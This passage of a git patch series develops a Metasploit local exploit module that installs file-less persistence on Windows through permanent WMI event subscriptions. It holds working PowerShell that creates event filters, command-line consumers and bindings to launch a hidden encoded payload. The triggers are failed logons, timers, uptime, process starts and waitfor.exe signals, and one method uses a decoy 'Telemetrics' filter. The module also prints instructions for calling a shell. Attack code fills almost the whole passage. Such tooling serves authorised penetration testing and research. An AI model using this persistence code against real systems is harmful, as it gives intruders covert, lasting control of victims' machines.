datastore['CUSTOM_PS_COMMAND'] + compressed_script = compress_script(script_in, eof = nil) + encoded_script = encode_script(compressed_script, eof = nil) + generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script) + else + cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) + end end def subscription_logon command = build_payload class_name = datastore['CLASSNAME'] - "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} + <<-HEREDOC + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + HEREDOC end @@ -118,22 +135,25 @@ class MetasploitModule < Msf::Exploit::Local command = build_payload class_name = datastore['CLASSNAME'] callback_interval = datastore['CALLBACK_INTERVAL'] - "$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} + <<-HEREDOC + $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + HEREDOC end - def subscription_user + def subscription_event command = build_payload event_id = datastore['EVENT_ID_TRIGGER'] username = datastore['USERNAME_TRIGGER'] class_name = datastore['CLASSNAME'] - "auditpol.exe /set /subcategory:Logon /failure:Enable + <<-HEREDOC $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + HEREDOC end @@ -141,20 +161,17 @@ class MetasploitModule < Msf::Exploit::Local command = build_payload class_name = datastore['CLASSNAME'] process_name = datastore['PROCESS_TRIGGER'] - "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} + <<-HEREDOC + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + HEREDOC end def log_file(log_path = nil) # Thanks Meatballs for this - # Get hostname host = session.session_host - - # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'wmi_persistence', Rex::FileUtils.clean_path(host + filenameinfo)) @@ -162,11 +179,7 @@ class MetasploitModule < Msf::Exploit::Local logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end - - # Create the log directory ::FileUtils.mkdir_p(logs) - - # logfile name logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') logfile end From e7d6d5350f1ec31eafe8349a73b28012ea9cd43c Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 23 Jun 2017 17:05:39 +0100 Subject: [PATCH 09/16] added WAITFOR persistence method --- .../exploits/windows/local/wmi_persistence.rb | 63 ++++++++++++++----- 1 file changed, 49 insertions(+), 14 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 96e8db64b5..9dedf85148 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -19,16 +19,18 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER + of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS - method will create an event filter that triggers the payload when the specified process is started. Additionally a custom - command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires - administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads - due to powershell script length limitations. + method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method + creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER + before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command + (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is + activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a + high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, @@ -50,13 +52,15 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]), + [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), OptString.new('PROCESS_TRIGGER', [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), + OptString.new('WAITFOR_TRIGGER', + [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]), OptInt.new('CALLBACK_INTERVAL', [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), OptString.new('CLASSNAME', @@ -104,6 +108,11 @@ class MetasploitModule < Msf::Exploit::Local psh_exec(subscription_process) print_good "Persistence installed!" @cleanup + when 'WAITFOR' + psh_exec(subscription_waitfor) + cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0") + print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" + @cleanup end end @@ -169,6 +178,21 @@ class MetasploitModule < Msf::Exploit::Local end + def subscription_waitfor + command = build_payload + word = datastore['WAITFOR_TRIGGER'] + class_name = datastore['CLASSNAME'] + <<-HEREDOC + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} + $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} + $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} + HEREDOC + end + + def log_file(log_path = nil) # Thanks Meatballs for this host = session.session_host filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") @@ -186,13 +210,24 @@ class MetasploitModule < Msf::Exploit::Local def cleanup - name_class = datastore['CLASSNAME'] - clean_rc = log_file() - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - file_local_write(clean_rc, clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") + if datastore['PERSISTENCE_METHOD'] == "WAITFOR" + name_class = datastore['CLASSNAME'] + clean_rc = log_file() + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"" + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + else + name_class = datastore['CLASSNAME'] + clean_rc = log_file() + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + end end end From 412ea9432dd0f91b1948c4a93df313925022fdc6 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 23 Jun 2017 17:17:07 +0100 Subject: [PATCH 10/16] removed whitespace --- modules/exploits/windows/local/wmi_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 9dedf85148..752e30e5b6 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -188,7 +188,7 @@ class MetasploitModule < Msf::Exploit::Local $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer} $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} HEREDOC end From 916a4da1823e227932342bc3ba4d0f1d2d7f9e63 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 23 Jun 2017 17:38:48 +0100 Subject: [PATCH 11/16] fixed cleanup method to include all cleanup options --- modules/exploits/windows/local/wmi_persistence.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 752e30e5b6..4f28b8b957 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -217,6 +217,9 @@ class MetasploitModule < Msf::Exploit::Local clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") else From 655358cdf11c61790a249e31c1ce0dbef787cdd6 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 23 Jun 2017 17:58:11 +0100 Subject: [PATCH 12/16] added missing newline in cleanup method --- modules/exploits/windows/local/wmi_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 4f28b8b957..59206c2512 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -216,7 +216,7 @@ class MetasploitModule < Msf::Exploit::Local clean_up_rc = "" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" From aa18598580fe51526fd87ba72ca38574493765a9 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 24 Jun 2017 19:20:02 +0100 Subject: [PATCH 13/16] updated cleanup method to remove_persistence to prevent creating rc file even if module fails --- .../exploits/windows/local/wmi_persistence.rb | 66 ++++++++----------- 1 file changed, 28 insertions(+), 38 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 59206c2512..2ca39a8e84 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -95,24 +95,24 @@ class MetasploitModule < Msf::Exploit::Local when 'LOGON' psh_exec(subscription_logon) print_good "Persistence installed!" - @cleanup + remove_persistence when 'INTERVAL' psh_exec(subscription_interval) print_good "Persistence installed!" - @cleanup + remove_persistence when 'EVENT' psh_exec(subscription_event) print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" - @cleanup + remove_persistence when 'PROCESS' psh_exec(subscription_process) print_good "Persistence installed!" - @cleanup + remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) - cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0") + cmd_exec("waitfor.exe", args = " #{datastore['WAITFOR_TRIGGER']}") print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" - @cleanup + remove_persistence end end @@ -193,44 +193,34 @@ class MetasploitModule < Msf::Exploit::Local end - def log_file(log_path = nil) # Thanks Meatballs for this + def log_file host = session.session_host filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - if log_path - logs = ::File.join(log_path, 'logs', 'wmi_persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - else - logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', - Rex::FileUtils.clean_path(host + filenameinfo)) - end + logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) ::FileUtils.mkdir_p(logs) logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') - logfile end - def cleanup - if datastore['PERSISTENCE_METHOD'] == "WAITFOR" - name_class = datastore['CLASSNAME'] - clean_rc = log_file() - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - file_local_write(clean_rc, clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") - else - name_class = datastore['CLASSNAME'] - clean_rc = log_file() - clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" - file_local_write(clean_rc, clean_up_rc) - print_status("Clean up Meterpreter RC file: #{clean_rc}") - end + def remove_persistence + name_class = datastore['CLASSNAME'] + clean_rc = log_file + if datastore['PERSISTENCE_METHOD'] == "WAITFOR" + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + else + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + end + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") end end From bc8de0fc6671158f32973b8f4ccac7765a52b224 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 24 Jun 2017 20:54:31 +0100 Subject: [PATCH 14/16] fixed issue where starting waitfor.exe would hang the module --- modules/exploits/windows/local/wmi_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 2ca39a8e84..97ef603cb6 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -110,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Local remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) - cmd_exec("waitfor.exe", args = " #{datastore['WAITFOR_TRIGGER']}") print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" remove_persistence end @@ -189,6 +188,7 @@ class MetasploitModule < Msf::Exploit::Local $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1} + Start-Process -FilePath waitfor.exe #{word} -NoNewWindow HEREDOC end From 994f00622f6c5ee0a2f1b5ee72c1a285192e8281 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 29 Jun 2017 16:12:23 +0100 Subject: [PATCH 15/16] tidy module output --- modules/exploits/windows/local/wmi_persistence.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 97ef603cb6..2f7198b7f2 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -91,6 +91,9 @@ class MetasploitModule < Msf::Exploit::Local return end + host = session.session_host + print_status('Installing Persistence...') + case datastore['PERSISTENCE_METHOD'] when 'LOGON' psh_exec(subscription_logon) @@ -102,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Local remove_persistence when 'EVENT' psh_exec(subscription_event) - print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" remove_persistence when 'PROCESS' psh_exec(subscription_process) @@ -110,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) - print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" + print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" remove_persistence end end From f4c739c190fb09a2d7fef41bbf6cd06564b25c30 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Mon, 10 Jul 2017 10:05:57 +0100 Subject: [PATCH 16/16] check if running as system --- modules/exploits/windows/local/wmi_persistence.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 2f7198b7f2..a9437e1e0a 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb 